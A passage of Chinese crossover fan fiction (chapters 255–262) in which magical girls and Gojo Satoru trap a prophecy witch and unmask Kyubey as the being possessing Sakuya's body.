站在高处纵观全局，津岛不是很在意正在逃窜的魔女。 她反倒是往另一个方向眺望，仿佛能跨越遥远的距离，看到此刻正守在那里的熟悉的白发少女。 津岛沉默了片刻，拿起对讲机道： “好了，现在开始缩小包围圈吧。” 全部的魔法少女都聚集在这里，共同为了一个目标而合作努力。如果是作为她们的同伴，绝对很令人安心。 但要是换做成她们的敌人，无疑就只剩下糟糕绝望之类的情绪了。 ——就像是如今，知晓着无数未来的预言魔女，也没能预知自己最终的结局。 在感知到异常的那一瞬间，预言魔女便果断地开始逃窜，以往无数次它也是因此才能够活下来的。 但这次不一样。 往东走？不对。往西走？不对。躲入自己的魔女结界？不对。留在原地等候机会？不对。用未来的景象将她们先困住？不对…… 向未来延伸的无数条道路，没有一条是能够让它活下来的，这是从未遇到过的局面。 不应该是这样吧。 感知着四面八方传来的魔法少女的威胁气息，这个魔女僵硬地停在了原地。 即使相较于其他魔女，它要更聪明一点，但终究不过是按照本能欲望行动的怪物而已。 怪物在面临死亡的时候会怎么做？ 忽然间，预言魔女半透明的身体里，细沙流动的速度愈发变快，头部无数根细长的时钟指针不住地晃动，发出“滴答滴答”的吵闹声音…… 第256章 预言魔女拼了命般发动自己的能力。 不管怎么做都已经无法让自己存活下来，那么散播绝望与痛苦的魔女，此刻便不再如往常般苟且偷生，渴望吸食人类生命力的本能从来没有一刻比现在更加强烈。 魔法少女们这时已经来到了预言魔女周围。 “先别过去！” 松代提高声音喊道。 其他魔法少女也没鲁莽行事，知晓被逼入绝境时的猎物往往要更加危险，她们先待在了旁边，观察着它的动向。 就在这时，意料之外的变化出现了。 不是预言魔女所引起的，而是另一种力量，致使天空仿佛骤然被奇怪的屏障所笼罩，将这附近一整片区域与外界割离开来。 禅院穗抬头看着天空暗下来的这一景象，有了熟悉的感觉，喃喃出声：“结界？” “没错哦。” 熟悉的声音从上方响起。 禅院穗吃了一惊，立刻向声音的源头处望去，果然看到了本不应该出现在这里的五条悟。 五条悟对上自家学生的目光，笑盈盈地挥手打了个招呼，对她们说道：“希望我的结界能够派上用场。” 悠衣也睁大了眼睛，差点直接喊出老师：“五条……先生，你怎么会在这里？” 五条悟视线挪向黑发鸢眼的少女：“诶，这当然是因为……” 津岛接过他的话，并看似不经意地瞥了一眼不远处的朔夜：“是我拜托五条先生来帮忙的。” 虽然说多一个人多一份保障，而且五条悟所掌握的结界术确实是有作用的，但其他敏锐的人还是察觉到了一丝不对劲。 应该没那么简单。 要是真的只是请五条悟来布置结界帮忙围堵住预言魔女，那么完全可以提前告诉她们，没必要突然整这么一出吧。 但津岛没有要解释的意思。 她将众人的视线拉回到预言魔女身上，提醒道：“让我们先解决眼前的魔女吧，这才是我们聚在这里的目的，不是吗？” 确实，预言魔女如今明显不对劲。 她们也知道应该先解决近在咫尺的威胁。反正现在所有人都被暂时困在五条悟提前准备好的结界里，不管有什么疑惑都可以等之后再慢慢去询问。 朔夜面向预言魔女的方向，手上浮现出自己的弓箭。 但在她准备拉弓之前，旁边有人拦住了她，松代说道：“先别杀了它。” 朔夜的实力是有目共睹的，要是让她这一箭射出去，估计预言魔女下一刻就会死透，那她们合作抓住它的计划就白费了。 朔夜犹豫了一下。 实际上作为丘比，她本来就是希望其他人的计划落空。免得让她们从未来中获取对自己不利的线索。 但现在这种情况，如果一意孤行非要杀了这只魔女，会不会显得太异常了些，反而更容易让其他人怀疑呢？ 抱着这样的想法，朔夜暂时放弃了行动。 而且，预言魔女的能力非常特殊。 所以她还怀揣着一种可能性很小、但总归是存在的期待——她无法摆脱束缚杀死这些魔法少女，但她们对她而言始终是一种隐患。如果预言魔女有机会能够杀掉她们，那就再好不过了。 悠衣拿不定主意地问：“现在该怎么做？” 其他魔法少女却显然也没有经验。 杀死魔女无疑是她们很擅长做的事，可利用魔女的能力这还是头一遭。 似乎只有朔夜做到过，曾利用梦境魔女的能力给其他人增添了一些本不应该存在的记忆。 于是，她们不由得望向朔夜，对方轻轻摇头，也不知道说的是真话还是假话：“我也不知道要怎样做。” 以预言魔女身上愈发浓郁的危险气息来看，已经没时间留给她们慢慢思索了。谁知道它会不会放出什么同归于尽的杀手锏来。 松代想了想，拔出自己的枪来，对着那个魔女身上不致命的位置，试探性地开了一枪。 “砰——” 魔女的身体宛如玻璃般裂开了一个大洞，细碎的流沙从那里止不住地涌出，它也随之痛苦地发出尖锐的哀嚎声。 见状，松代倒是愣了愣。 她手枪的攻击力远没有炸弹强，对准的又是挺边缘的部位，换做是其他普通的魔女估计现在还没什么大问题。 但眼前这个这么久都没被捉住的预言魔女，受了这一枪之后，怎么表现出一副快要死了的样子？不至于这么脆弱吧？ 这些思绪刚从脑海中飘过，松代紧接着便感受到头部传来非常剧烈的痛楚。 周围的场景突然间开始发生变化。 这是……什么？ 预言魔女所预知到的未来的画面吗？ 松代还是第一次接触预言魔女，不确定这是不是津岛和禅院穗之前所说的、预言魔女给她们放出的关于未来的景象。 她也只能强忍着昏昏沉沉的头痛，尽量打起精神来，去观察附近的场景。 但眼前的景象忽明忽暗，一切事物如同幻灯片或剪影，从她面前不断闪现，又飞速地溜走，根本来不及看清或是记住什么。 明亮的天空、血色的黄昏、漆黑的夜幕……不断交替流转着。时间仿佛失去了意义，空间也难以辨明具体方位。 未来的残影就像抓不住的细沙，不停从手中溜走。 不过，虽然这些画面非常短暂，没有连贯的逻辑，也难以看得真切……可松田阵平依旧凭借一如既往的敏锐直觉，意识到了一些情况。 ——那些未来的画面里，有萩、有零、有禅院、悠衣……有许许多多自己认识的人，却唯独没有一个非常重要的人。 松田阵平始终没有看见伊江朔久。 ……为什么会这样？ 第257章 尽管松田阵平不愿意去想那个最糟糕的可能性。 但某些声音伴随着这些未来的景象，不时传入自己的耳中，更加昭示着残酷的终局。 “真的再也见不到朔夜了吗？” “又到了新的一年啊，如果他也在……就好了。” “……” 这些是什么意思，不是已经很明显了吗？ ……伊江朔久会死。 所以未来不会再有他的存在。 松田阵平忽然有点难以呼吸，头痛仿佛一下子加剧了数倍。 就算周围不断快速闪过的画面渐渐慢了下来，最终全部彻底消散不见，一切回归正常，也没能让松田阵平稍微好转一些。 “松代——” 直到声音仿佛从很远又很近的位置传来，强硬地将她拉回到现实之中。 松代恍惚地慢慢将视线聚焦，看到了自己身旁的安凛，此刻对方正一只手按着她的肩，不停关心地问：“……你还好吗？现在感觉怎么样？” “我刚才……” 松代试图询问刚才发生的情况是怎么一回事，不过那些未来的碎片画面太过零散，她一时也不知道该怎么整合、从哪说起。 “朔夜！你在做什么？” 正巧，不远处传来艾尔菲的声音。 因为声音听起来比较急切，又提到了朔夜，松代忍不住循着声音往那边望过去。 白发少女刚巧在这时松弦，一支箭矢从弓身上快速飞了出去，下一刻便抵达预言魔女身上。 “砰——” 玻璃般的身体外壳化作碎片，一下子四溅开来，魔女身体里的流沙这下算是要彻底流光了，原本不停晃动的时钟摆针也总算安静了下来。 ——朔夜一击便成功杀掉了这个预言魔女。 方才出现的头痛还没能完全消化，所以松代有些怔怔地看着眼前的场景，没太能反应过来如今的局势。 艾尔菲又开口了，声音里带着无奈与不解，问朔夜：“为什么要杀掉那个魔女，它死了之后，我们原本的计划不就落空了吗？” 朔夜回道：“想要利用魔女的能力几乎是不可能的，刚才那种情况下，还是先把它解决掉比较好，免得有人出什么事情。” 这个解释听起来似乎是很合理。 但是禅院穗却没能相信。 因为她们应该都能看得出来，预言魔女预知未来的能力似乎太过超模，导致其他类似于战斗攻击这种方面就要欠缺很多了。 刚才预言魔女爆发出的能力虽然是很不错，一瞬间让离她近的那几个魔法少女都陷入了幻境之中。 可它却没能完整覆盖周围这一大片区域，使得离它稍远的那几人只是短暂地看到了几幕未来的场景，便由于作用于自身的影响太少以及意志的坚定而很快脱离出来。 既然有人能够保持清醒，那么预言魔女就无法趁她们意识不清楚的时候，对她们造成什么不利的影响。 所以，这个时候应该想办法制住预言魔女才对。 而朔夜为什么早不动手、晚不动手，偏偏在艾尔菲冲上去即将要抓住预言魔女的时候，直接一箭将它给射杀呢？ 禅院穗无法理解。 难道朔夜是不希望她们抓住预言魔女、从它身上得知什么关于未来的信息吗？可这又是为什么？ 禅院穗忽然想起自己方才所看见的一个未来的片段，那个片段应该很快就会发生了。 毕竟在她见到的那个画面里，场景与人物都没有发生变化，头顶灰暗的结界也仍然没有解开。 只不过…… 其他魔法少女好像都与朔夜站在了对立面，她们手上几乎都拿着武器，气氛显得很焦灼，仿佛下一刻就能敌对地打起来。 禅院穗不由得攥紧了双手。 预言中的未来场景真的注定会发生吗？ 之前第一次遇见预言魔女时所见到的未来，确确实实在两年后重现了，没有出现任何偏差。 但禅院穗此刻却怎么也难以想象，等会儿到底会发生什么，才会让她们与朔夜之间形成那种对峙的局面。 而松代也逐渐意识到了目前的情况。 虽然预言魔女死了确实有些可惜，但是她目前还是更为关心自己之前所看到的未来画面，那显然才是更为重要的。 不尽早处理的话，她没有办法对朔夜的安危放心。 可缺少太多的情报，松代根本不知道该从何下手。仔细想了想后，她认真地扬声提问：“你们刚才都看到了什么样的未来？” 悠衣回答得很快，却没什么有用的信息：“画面转换得太快了，我现在头还有些眩晕和疼……好像看到了我们聚在一起的场景，应该是在商量什么，大家的表情都好严肃，不过朔夜似乎不在。” 艾尔菲则惋惜地说：“我刚才站得位置较远，也及时用了防御的手段。所以还没看清未来的场景，便已经清醒过来了。” “我看到的画面也不多。” 五条悟不知何时已经摘下了眼罩，苍天之蓝的眼瞳似乎要比往常更加明亮、也更加引人注目。 他顿了顿，突然转折道：“不过，我全部都记下来了哦。如果有需要的话，我可以……” “够了。” 朔夜打断了他的话，似乎对这个话题不感兴趣，耐心也已经耗尽，不想再耗费时间待在这里了。 她冷淡地道：“既然预言魔女已经解决了，那就把这个结界解开吧。” 松代皱起眉，心中某种不好的预感愈发存在感鲜明，眼前的白发少女也显得愈发陌生。 不管怎么样，她肯定不能放任朔夜现在就这么离开。 谁知道下次再见的时候，能够看到好好活着的对方，还是只能听闻对方的死讯呢？ 第258章 松代开口想要先拦住她：“朔夜，你……” 朔夜却完全没有搭理松代，目光只放在五条悟身上，提高了声音强调自己要离开的意愿：“我还有事要忙。” 五条悟却没有如她所愿地解开结界，只是将视线转向津岛。 朔夜也随之看向了津岛。 周围一时间安静了下来，空气仿佛也逐渐变得稀薄，说不清道不明的氛围让人不觉紧张起来，甚至连正常呼吸都有点困难了。 黑发鸢眼的少女神色平静，定定地与白发少女对视：“如果是真的有事要忙，那也对不起了，现在不能放你离开这里哦。” 话音刚落，刚才射杀完预言魔女后收回去的弓，此刻又重新浮现在白发少女手里。 朔夜的实力是毋庸置疑的。 然而津岛却没有慌乱，如同早就预见这一情况般镇定自若，不过她手中也握上了自己的《女生徒》与长长的白色绷带。 禅院穗怎么也没想到，事情一下子就发展到了这种地步。 虽然预言魔女早就证明了自己预言的准确性，但是现在是不是少了什么前因后果，她们为什么要突然这样内斗？ 如果真要打起来的话，那其他人该帮谁？ 禅院穗想着刚才看到的未来片段。 ……确实，津岛是打不过朔夜的。所以为着双方的安全与战力的平等考虑，她们也应该站在津岛这边。 但是之前朔夜救了津美纪和自己，禅院穗还没来得及把人情还回去，根本就做不到与朔夜站在敌对方。 所以这未来到底是怎么一回事啊？ “等等，是不是有什么误会？” 悠衣忍不住先开口，打破了压抑沉寂的氛围，想要缓和她们之间不知从何而来的矛盾：“别那么冲动，我们先好好地谈一谈吧。” 津岛向朔夜问道：“你觉得有误会吗？” 朔夜缓缓说：“如果我说有的话，你会相信吗？” 津岛没有说话。 很明显了，她已经确认了自己的想法。 就算朔夜再怎么辩解也是无济于事，所以也不用费心再编造什么谎言了。 实际上，孵化者早就想过事情可能会发展到如今这一地步。 毕竟这些魔法少女不是什么好糊弄的小孩子。自己也不得不因为需要契约其他人，而做出与原人设不符的事情。 所以它的真实身份估计早晚会被戳穿。 但孵化者没想过这一天会来得这么快，快到它还没来得及想好对策，也完全没做好心理准备。 果然还是小觑了她们。 “我原以为你们只是看到了一些未来的场景，还想着早知道刚才就快点解决掉那只麻烦的魔女了。” 朔夜微微抬头，望了一眼头上灰暗的结界，不急不慢地道： “不过，现在想来，你们在更早之前就已经做出了判断，并且准备在今天打破虚假的和平。” 把预言魔女作为诱饵将所有人齐聚在这里，没有提前告知其他人便请来五条悟作为援手，直到如今也没有解开的特殊结界…… 一切都很明显了，不是吗？ “这场围猎的真正目的，原来是我啊。” 白发少女轻声说道。 “真遗憾，虽然有人发现了真相，但却做出了错误的判断。你们真的觉得，我能够被你们困在这里、任人鱼肉吗？” 空气愈发凝固起来。 悠衣的思绪如同毛线团般缠绕在一起。局势的变化太快了，一切似乎朝着最糟糕的那个方向急转而下。 她其实似乎抓住了些真相的苗头，但是又难以相信。 悠衣声音干涩地问：“什、什么？为什么要这么说？真正目的不就是预言魔女吗？为什么要把朔夜困在这里？” 安凛也将自己的心沉入谷底。 最糟糕的情况出现了。 “你不是朔夜。” 松代本来是想将这句话作为问题问出来的，但是发出声音后，她便自己确定了答案。 可这似乎太晚了。 她明明早就察觉到异常了，直觉已经提醒过她很多次了，为什么直到现在才能够确定答案？ 松代举起了枪，枪口对准面前白发少女的眉心。 她的呼吸难以避免地变得有些急促，咬着牙问道：“朔夜在哪里？” 其他人也都意识到了问题的严重性，纷纷严阵以待，将目光集中在面前这个身份不明的白发少女这里。 一时间她似乎成为了众矢之的。 白发少女仿佛完全没有感到危险，脸上反倒露出了一个浅浅的无奈的微笑，这是完全不属于朔夜、却又意外让人觉得有点熟悉的笑容。 “为什么要那么在意那个人呢，你们现在的生活不是足够美好了吗？” 白发少女劝诱似的道： “现在的你们，身边拥有着重要的家人或朋友，已经不用再为愿望的背离而烦心苦恼，一切都在往好的方向发展。” “如果想要维持这样的生活，就不要轻易去做破坏平衡的事。否则上次那场忽然结束的战斗，很可能就会重新再上演一遍哦。” 明晃晃的威胁。 上次的战斗，现在让人回想起来都会觉得心有余悸，估计能成为很多幸存者的梦魇。 就算是她们这些魔法少女，也无法应对那么多源源不断的魔女。 如果上次的战斗再上演一遍，奇迹无法第二次降临，魔女的数量不会在她们坚持不住前忽然减少。估计……她们最终全部都会死掉，这个世界也将会面临前所未有的劫难。 但是，孵化者还是不够了解人类的情感。 听到这样的话之后，明明在场的人都知道这种局势有多糟糕，第一时间涌上心头的却不是犯难与退缩，也不是对未来的忧虑。 而是…… 想起当初战斗结束之后，看到朝阳升起之时的安心，劫后余生的庆幸，还有重要的人回到自己身边的喜悦…… 那个时候，似乎很难有人能够想到，朔夜究竟面临着怎样糟糕的处境。 她付出了什么样的代价，才换来了这些奇迹的发生？ 第259章 悠衣执拗地问：“你在开什么玩笑？快说朔夜到底在哪里，你对她都做了些什么？” “果然，人类的情感是你们最大的缺陷。” 白发少女叹了口气。 “我可没有在开玩笑。如果你们真的要打破现状的话，目前所拥有的一切幸福都可能会化作泡影，这根本就不值得吧。” 松代驳斥：“值不值得不是你能评判的。” “别用那种好像我坑害了朔夜的神色看着我，也没必要对我那么警惕。” 白发少女无奈地解释道：“其实，这都是她和我做的一场公平的交易而已，现如今的一切都是她自愿的，你们又何必要罔顾她的选择？” ……交易。 果然，当初那场战斗能够突然结束，是因为有人付出了相应的高昂代价。 而那个人为什么会这样做呢？ 朔夜的实力很强，没有人能够战胜她。但她却也不是无所不能的存在，只要身边有其他人在，别人就会有足以威胁她的筹码。 虎杖悠仁想起，当初面对那个以动物为代号的组织，他们无法战胜魔法少女，便以普通人的性命为要挟。 早在那时候，自己就清楚了这些道理。 为什么当时战斗结束之后会安心放松，觉得朔夜应该不会出事？明明她们就是胁迫朔夜的筹码之一。 “就算是她的选择……也要她亲口告诉我们。” 禅院穗直直盯着这个身份不明的人：“我们凭什么要相信一个连真面目也无法示人的敌人的话？” 白发少女听后，倒是先仔细想了想，随后说道： “其实，从某种程度上来说，我如今就是朔夜。” 艾尔菲脱口而出：“怎么可能？” 虽然从外表、魔法气息等多方面来看，眼前的人就是她们熟悉的人，但是朔夜怎么可能会…… 可是，面前这个人的语气态度也不像是在胡说。 “你占据了她的身体？” 安凛很快想到了这个可能性。 白发少女微笑着默认了。 安凛心情又是一阵复杂。 虽然她的世界早就崩塌再重组了，但是这种离奇的情况她也还是第一次见。 魔法少女的躯壳原来真的和工具没什么区别，居然还能够被其他人占据……等等，眼前这个人真的是人类吗？ 刚才一时间事情发展得太快，还没来得及接收并消化那么多信息。 不过现在缓了一会儿之后，她们越看眼前这个人，倒是都越觉得对方熟悉得过分。 如果不是朔夜的话…… 安凛怀疑地道：“你是丘比？” 白发少女脸上的笑容一瞬间仿佛更‘标准’了些，更像极了永远刻在那只白色生物脸上的笑容。 微妙的非人感在这一刻到达顶峰，周围的人都体会到了恐怖谷效应的感觉。 面对再丑陋恶心的魔女，也不会比此刻面对这个人时更加毛骨悚然与反感厌恶。 白发少女却似乎没有察觉到其他人的感受。 她尝试露出友善的表情，不知道这只会让别人更难以适应。 “在魔法少女的真相逐渐揭露之前，我们相处得不是还很愉快吗？而你们和朔夜之间却一直很难沟通。现在让我取代她不好吗？我可以做到以往她所做到的一切事情，在各种时候为你们提供帮助……” 出于利益的得失，她自然还是希望能够和平解决这件事。要是与其他魔法少女闹到无可挽回的地步，那么今后的行动估计就要受上不少阻碍了。 可事情没能像她期望的那样进行。 她的努力白费了。 仿佛不管再怎么说下去，都只是一吹即散的过眼云烟而已。 津岛打断了对方的话，理智又冷静地说：“你永远也不可能取代她。” 白发少女闭上了嘴。 她的视线扫过周围的一圈人，没有人流露出动容犹豫的神色，有的只是坚定与厌恶、甚至还带着一丝杀意。 看来，她们是真的很讨厌自己。 用威胁、利诱或是善意蒙蔽，都无法改变她们的态度。让孵化者想起自己当初面对朔夜时，似乎也感受到了与此刻如出一辙的挫败感。 果然它也还是很讨厌人类这种生物啊。 松代依旧举着枪。 只不过和之前相比，知道了丘比用着朔夜身体后，她下意识地将枪口偏离了几分。 但是，松代所表现出来的厌恶却也多了几分：“别再说那些废话了，让朔夜回来。” 孵化者也明白，正常的谈判似乎很难再进行下去了。 可这些魔法少女居然打算用威胁来逼迫自己还回身体吗？ 是不是搞错了什么。 自己千辛万苦谋划了那么多，消耗了数量庞大的悲叹之种，才将伊江朔久逼到那一步，才得到了这具身体。 怎么可能就这样轻轻松松地还回去？ 第260章 既然言语失去效用，那么就只好换个方法了…… 白发少女恢复到面无表情的状态，果断举起了弓，拉弦对准面前稍远处的方向。 她这个时候表现出来的样子，倒是比较像之前的朔夜了。 以前作为同伴的时候，跟在朔夜身边便总是能够觉得很安心。 但是当如今立场骤然反转，以敌人的身份来面对这样的攻势，那可真是糟糕透顶的感受。 其他人反应都很迅速，毕竟敢于和对方站在敌对面，自然都做好了交战的准备。 可她们也清楚朔夜的实力，即使做好了准备，也无法确定自己能够成功挡下这一击。 不过…… 那支箭矢带着难以想象的强大能量，破空袭来，准头却差了许多，只射在了旁边没人的地方。 那一片地面瞬间裂开，以箭矢为中心的平地一下子下陷了数尺。 其他人倒是没有受到半点伤害。 白发少女表情不太好地道： “这只是我的警告而已。如果你们再这样步步相逼，那么下一次这支箭就会直接毁掉你们的灵魂宝石。劝你们还是珍惜现在所拥有的一切吧。” 说完警告的话，白发少女看起来似乎便要离开。 她又一次举起了弓，对准外围灰黑色的结界，准备干脆自己动手解决这个结界。 “等等，友情提示一下，这个不是普通的结界。” 五条悟出声喊住对方，轻轻眨了眨眼睛：“因为听说魔法少女需要我的帮助，我特意找到并学习了这个特殊的结界术。” 白发少女回眸，升起某种不太好的预感。 果然，五条悟接着道：“这个结界的特殊之处在于，只要你不先解决掉布置结界的人——也就是我，我的咒力就会源源不断地为结界提供支撑，它便一直无法解开。” 看着白发少女的神色越来越冷，五条悟故意露出了个轻快的笑容，说道：“而我是不会主动解开的哟。” 白发少女态度恶劣地问道：“你真的这么想死吗？” 五条悟摇了摇头，慢悠悠地说：“嘛，虽然朔夜酱的能力很强，但我觉得我也没那么容易会死吧。而且……” 津岛接了五条悟的后半句话：“你要是准备杀掉我们的话，便不会浪费时间，拖到现在才动手了。” “……本来我是想，就这样轻松解决掉你们也太浪费了。我一直期待着你们终有一日化作魔女，然后回馈给我应得的报酬。” 白发少女解释似的说着，语气颇为冷淡：“但如果你们再这么碍事，我就也只能放弃你们，去寻找新的目标了。” 津岛却不在意对方话里的要挟，继续若有所指地说道：“你真的是不想杀我们吗？” 很明显，她不相信白发少女的解释。 津岛追问道：“你根本就是……不能杀我们吧？” 白发少女面色愈发难看，握紧了手中的长弓，仿佛蓄势待发：“我能不能杀掉你们，要试试看吗？” 津岛却丝毫不畏惧地盯着她，又用肯定的语气问道：“你的头现在也在疼吧？” “……” 白发少女终于无言以对。 情况彻底无法挽回了——这些魔法少女本来就很棘手，在她们得知自己无法对她们下手之后，估计麻烦程度还要呈指数倍增加。 真不明白对方是怎么像偷看了剧本一样，这么快就猜到了自己身上的限制？ 亏她刚才还忍着头痛欲裂，表演出一副若无其事的样子。 津岛看出了白发少女的不解。 不得不说，虽然如今用着同一具身体，但丘比的演技还是比真正的朔夜差很多。 津岛说道：“上次听说你在去找新的魔法少女契约时，表现出了头痛的状况，我就有所猜测了。” “不过，还是通过观察这次你的种种行动，我才能够确定——你根本无法对我们造成伤害。甚至只要有对我们下手的行为，都会受到惩罚。” 其他还没弄清情况的魔法少女，听了这些后也恍然明白了丘比之前某些异常的原因。 如果对方无法伤害到她们，那么局势就会向她们倾斜许多了，也算是一个非常好的消息。 不过，为什么会出现这个情况？ 悠衣想起了咒术界的束缚，喃喃道：“束缚么？” “应该是差不多的存在。”禅院穗猜测道：“听起来像是我们之前的契约，估计无法伤害我们就是丘比要付出的代价。” 这么看来，和丘比签订契约的另一方是谁也就很明显了。 津岛没有说，她之所以能这么快这么确定地猜到，丘比有受到某种限制而无法对她们下手。 原因在于，她认为朔夜不会就这样把身体轻易交付出去。 敌人是不可信的。 要是真的随随便便信了他人的承诺，而把自身所掌握的力量交出去，把一切压在对方的善恶选择上，无疑便是自取灭亡。 朔夜不至于这样天真。 朔夜应该能够意识到，假如她随随便便放弃了身体，万一丘比下次再掀起大范围的战争，就很难有能够阻止它的人了。 所以，她必然会留下后手。 除了限制丘比、阻止它过河拆桥之外，津岛其实还抱有另一种隐晦的期待，她猜测朔夜说不定还有别的打算。 或许事到如今出现的这种局面，也在朔夜的预料之中。 那么，自己所要做的就是——协助朔夜，继续推动一切顺着局势发展下去。 不管怎么样，必须得让朔夜回来才行。 自己还没来得及为织田作和安吾的事向对方道谢，也没来得及询问对方……六年前他们到底都经历了什么、遗忘了什么。【你现在阅读的是 】 260-270 第261章 “既然你无法攻击我们，那么也应该知道现在局势掌控在谁的手里。” 津岛浅笑起来，周身却散发出从未在魔法少女身上显现出的危险气息，离当初黑手党时期的自己倒是更贴近几分。 “如果我们愿意的话，你可能会被永远困在这个结界之中，所以还不如识时务一些。” ……确实，孵化者有着不能伤害这里任何一人的限制，也无法动用朔夜灵魂最本源的天平交换的能力。 那么即使它如今已经有足够强的实力，也只能被困在这个结界里任人宰割。 真是糟糕啊，竟然一招不慎落入这种局面。 不过，只是这样便想要威胁它，这些人还是太天真了点。 白发少女语气不明：“你们可以试一试，看看能不能永远困住我。” 虽然孵化者对于咒术界那些结界的了解不深，但是想也知道，如果布置结界的五条悟离开，那么他的咒力便没办法那么顺畅地持续为结界提供支撑，它也就总能离开这个麻烦的结界。 除非五条悟能够陪它一起永远地待在这里。 这当然是不可能的。 况且…… 白发少女轻轻拍了拍手，随后示意在场的其他人向结界外的地方看去。 灰黑色的屏障外面很快先出现了一抹小小的白色身影，紧接着白色身影的数量越来越多，从四面八方而来，紧紧地贴着屏障……一双双猩红的眼眸亮得骇人。 无数的丘比出现了。 它们在结界之外，团团将这里围了起来，视线齐齐射向结界内的人们。 ……这简直像是误入了什么恐怖片的剧场。 魔法少女们尽管对丘比都比较熟悉了，但却是第一次看到这么多一模一样的白色身影，也是第一次被这样诡异的视线团团包围。 她们或多或少都体会到了一些不自在的别扭感爬上脊梁。 ‘如你们所见，我还有无数的备用身体。’ 说这句话的并不是她们面前的白发少女，而是处于结界之外的无数丘比，它们异口同声地对她们说。 ‘所以别异想天开了，你们根本不可能困住我，也没有和我讲条件的筹码。’ 一只丘比的声音虽然不大，但这么多丘比同时发出声音，便显出了超乎寻常的气势。 “……装模做样够了吗？” 多年身居高位的艾尔菲沉默了许久，才一针见血地道：“如果你真的完全无所谓的话，早就不需要在这里跟我们耗费时间了吧。” 安凛也跟着推测道：“丘比的身体似乎没有多少战斗力，那么不管数量有多少都不堪一击。而你又有着无法对我们下手的限制，所以我们大可以杀了你，之后再将你的备用身体见一次便杀一次。” 孵化者不得不承认，对方说得没错。 如果立场交换的话，它出于最高的利益和效率考虑，也会按照对方所说的这么去做。 但是，这些人即使知道最优解，难道就会这么做吗？ “你们真的要杀了我吗？” 白发少女一副并不相信的样子，却故意说道： “真是可怜啊朔夜，即使过去的记忆和经历早就不复存在，也还是一直尽力达成你们的愿望。而如今当所有人都有了足够美好的结局之后，就要这样被轻易舍弃了吗？” “……过去的记忆和经历……不复存在，是什么意思？” 听着这些话，五条悟心里莫名泛起一丝涟漪，某种说不清道不明的感觉使得他第一个开口问道。 作为在场唯一一个不是魔法少女、也与朔夜关系不深的人，突然这样在意朔夜的情报，五条悟此刻自然吸引了部分人的注意。 白发少女对五条悟说：“这种事情你原本应该比我更清楚才对。” 五条悟：“……” 他微微垂眸，自己很久以前记忆的某些异常如今再度被翻了出来，又和朔夜扯上了关系。 过去到底发生了什么呢？ 为什么当初杰在叛逃后突然回来，莫名其妙变得奇奇怪怪，又在几年后恢复正常……自己又为什么近年来对魔法少女的事情这么感兴趣，一直忍不住投以关注？ ……自己忘记了什么？ “我和朔夜达成的契约，仅限于她在意的那些人。毕竟要想维护世界的安全，就需要新的魔法少女与魔女，总会有人为此牺牲。” 白发少女轻描淡写地道：“不过，你们都应该庆幸，牺牲的人不会是自己。” 五条悟闻言，又想起了上次见面。 那时的‘朔夜’前一秒还说他有成为魔法少女的资格，后一秒就开始头疼，然后便突然话锋一转说他已经不适合成为魔法少女了，只让夏油杰再考虑考虑签约的事。 现在想来，对方当时应该是触犯了限制。 所以自己过去必然和朔夜关系不错，可现在却全然遗忘了……不管怎么想都让人很在意啊。 沉默在空气中蔓延了好一阵。 直到津岛冷静地开口，打破了僵局：“确实，我们无法永远困住你，也不会杀了朔夜。” 顿了顿，她直视着白发少女陌生的眼睛，继续说道： “但是我们能够阻止你去找新的魔法少女契约，不会让你再达成任何目的。” 这算是直击要害了。 丘比隐隐感觉刚停歇一会儿的头痛似乎又开始了。 据它还保留着的记忆来看，自己来到这个世界这么久，明明有这么多唾手可得的能量就摆在眼前，可却一次也没能收取果实。 好不容易解决掉了一直在阻碍自己的伊江朔久。 但是一转眼，其他如今根本无法下手的其他魔法少女们，居然又开始热衷于给自己添乱了。 能量始终收集不够，难以扭转熵的增大…… 它不免有些焦躁起来。 真是的。 再这样下去，宇宙估计就快要因为陷入热寂而毁灭了。 第262章 白发少女还皱着眉在头疼烦恼的时候，其他人见到她这个状态，反倒是选择了乘胜追击。 毕竟他们根本不知道该如何让真正的朔夜回来，只能赌一把。 ——寄希望于“说服”面前的丘比，让它能够自愿将这具身体的掌控权还回去。 “津岛说得对，我们不会再让魔法少女的悲剧发生了。” 悠衣的语气非常坚定。 安凛一边打量着白发少女的神情，一边试探着说道：“是啊，也不会再让你欺骗别人了。我们会说出魔法少女的一切真相，让所有人知道你的真面目……” “……”白发少女沉默了一瞬，随后抬起眼，声音里罕见地带上了一丝疲惫：“你们真的知道这意味着什么吗？” 孵化者很少会有这么心力交瘁的时候了。 “如果不再有新的魔法少女出现，就不会再有新的魔女，那么维持你们活下去的悲叹之种便也终会耗尽……” 白发少女缓缓地说着，仿佛在宣告她们的命运：“你们迟早会因此死掉。” 禅院穗毫不意外她的这些话，回道：“我知道。” 甚至，松代还语气差劲地反问她：“你想说的就只是这个吗？” 白发少女：“……” 她微微一怔，随即意识到，在场的人几乎都将某些事物看得比自己的生命更重要。 既然如此，他们就应该懂得舍小取大的道理吧？为了整个世界的安危，牺牲个别人根本没什么大不了的。 白发少女又开口了，声音平静，带着非人的淡漠：“其实，我做这些都是有重要原因的——这是为了扭转宇宙中熵的增大，阻止宇宙因热寂而毁灭。” “熵？热寂？” 悠衣低声重复，语气中带着明显的困惑。 “当宇宙中的熵值足够大之后，宇宙中将不再存在可以被利用的能量，宇宙便会陷入热寂。而我的文明发明了一种将智慧生命体的感情转化为能量的技术，由此来扭转熵增。” 白发少女认真地向她们解释： “所以，我才需要与人签订魔法少女的契约，从她们身上获取能量。据研究来看，当魔法少女堕落为魔女时，极致的希望转化为极致的绝望，便能够回收巨大的能量。” 这短短几句话里，包含着的信息量无疑是巨大的，并且实在过于超乎常理。 其他人试图消化了一阵。 “所以，你是想说……”安凛幽幽地问：“你欺骗别人成为魔法少女，再让她们堕落成魔女，是为了拯救宇宙？” 白发少女语塞了片刻，点头应道：“确实是这样。” “你觉得我们还会随意相信你吗？” 禅院穗语气生冷，仿佛已经认定了对方又在说谎。 白发少女有些无奈：“……我没有欺骗你们。” “呵。”松代冷笑一声：“唯一可信的，大概也就只有你利用契约从人类身上榨取能量这一点了。” 宇宙会不会陷入热寂，其实以人类所了解到的情况来看，目前还并无定论。 而且依据丘比实际所做过的事情来判断……比起它有着拯救宇宙这样正当又一心为公的目的，还不如说它是为了私欲而榨取能量更可信许多。 真的糟糕了。 白发少女也意识到，其他人如今大概都会这样想，毕竟自己早已失去了可信度。 如果是在另一个世界，如果它还是那个“从不说谎”的丘比，或许还能用冰冷理智的逻辑以及足够的信誉保证来说服她们。 但是现如今，在伪装朔夜这个身份之后，它已经说了太多谎言。 